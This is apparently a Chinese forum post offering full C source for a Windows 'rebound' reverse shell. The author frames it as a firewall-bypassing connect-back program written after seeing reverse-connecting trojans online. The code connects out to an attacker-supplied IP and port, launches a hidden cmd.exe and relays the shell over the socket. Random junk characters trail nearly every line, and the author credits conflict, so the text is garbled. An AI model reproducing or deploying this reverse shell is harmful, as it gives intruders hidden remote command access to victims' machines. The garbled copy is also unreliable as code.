这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h(3ko
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/* ============================== G7d)X^q!xS
Rebound port in Windows NT KPMId`kf
By wind,2006/7 cuo'V*nWQ
===============================*/ ":,J<|Oy
#include ok<!/"RX$
#include a;[=bp
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#pragma comment(lib,"wsock32.lib") \XT~5N6
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void OutputShell(); o<nkK+=Afm
SOCKET sClient; >.f'_2#Z&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v* /}s :a
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void main(int argc,char **argv) {/PiX1mn
{ e95@4f^K2
WSADATA stWsaData; Ob>M]udn
int nRet; hTK6N
SOCKADDR_IN stSaiClient,stSaiServer; M|uWSG
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if(argc != 3) %:hU:+G E
{ v\b@;H`
printf("Useage:\n\rRebound DestIP DestPort\n"); ,T\)%q
return; 5t-dvYgU
} -x0VvkHu
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WSAStartup(MAKEWORD(2,2),&stWsaData); BP`'1Ns
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PcK;L(
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stSaiClient.sin_family = AF_INET; Y; OqdO
stSaiClient.sin_port = htons(0); B$@fE}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'SE?IE {
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tX *}l|;(
{ S,%BhQ[
printf("Bind Socket Failed!\n"); =%+o4\N,
return; NM:\T1
} l&4+v.zr
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stSaiServer.sin_family = AF_INET; i#W0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'k(aZ"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XDcA&cM}p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |#_`aT"
{ Eggdj+
printf("Connect Error!"); wEJ) h1=)^
return; s`Z'5J;S
} v<c@bDZ>
OutputShell(); :*MqYny&
} qe"t0w|U?
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void OutputShell() uy^vQ/
{ "ZU CYYre
char szBuff[1024]; _yJAn\
SECURITY_ATTRIBUTES stSecurityAttributes; R#0Z
OSVERSIONINFO stOsversionInfo; r^,XpRe&M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fF*{\
STARTUPINFO stStartupInfo; [h^>Iq
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char *szShell; 6~_TXy/
PROCESS_INFORMATION stProcessInformation; /<WK2G
unsigned long lBytesRead; X[Q:c4'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4Cl41a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D3BT>zTGK
stSecurityAttributes.lpSecurityDescriptor = 0; d5O_~xf&
stSecurityAttributes.bInheritHandle = TRUE; IxQ(g#sj_k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |JD"iP:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4$^\s5 K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sS5: 5i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [%`L sY
stStartupInfo.wShowWindow = SW_HIDE; F}Kkhs
{
stStartupInfo.hStdInput = hReadPipe; byW9]('e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E0o?rgfdq
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GetVersionEx(&stOsversionInfo); 5i42o+'
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switch(stOsversionInfo.dwPlatformId) Cj6+zJ
{ +4Uxq{.K
case 1: Z:2a_Atm
szShell = "command.com"; HpX ;:/I
break; ;I^+u0ga
default: g*& |Eq/
szShell = "cmd.exe"; c'8pTP%[
break; c4'k-\JvT
} f1_b``M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {r,MRZaa
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send(sClient,szMsg,77,0); :4V8Iz 71
while(1) ".Q``d&X
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O^+H:Y|
if(lBytesRead) yD-L:)@"
{ C=&rPUX{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8o SNnT
send(sClient,szBuff,lBytesRead,0); ipThwp9
} ,sqxxq
else #S*`7MvM
{ ?"o7x[
lBytesRead=recv(sClient,szBuff,1024,0); ;`f14Fb
if(lBytesRead<=0) break; i6Kcj
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \=yWJ
} [7btoo|P]
} OrJuE[R.
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return; G'M;]R9EP
}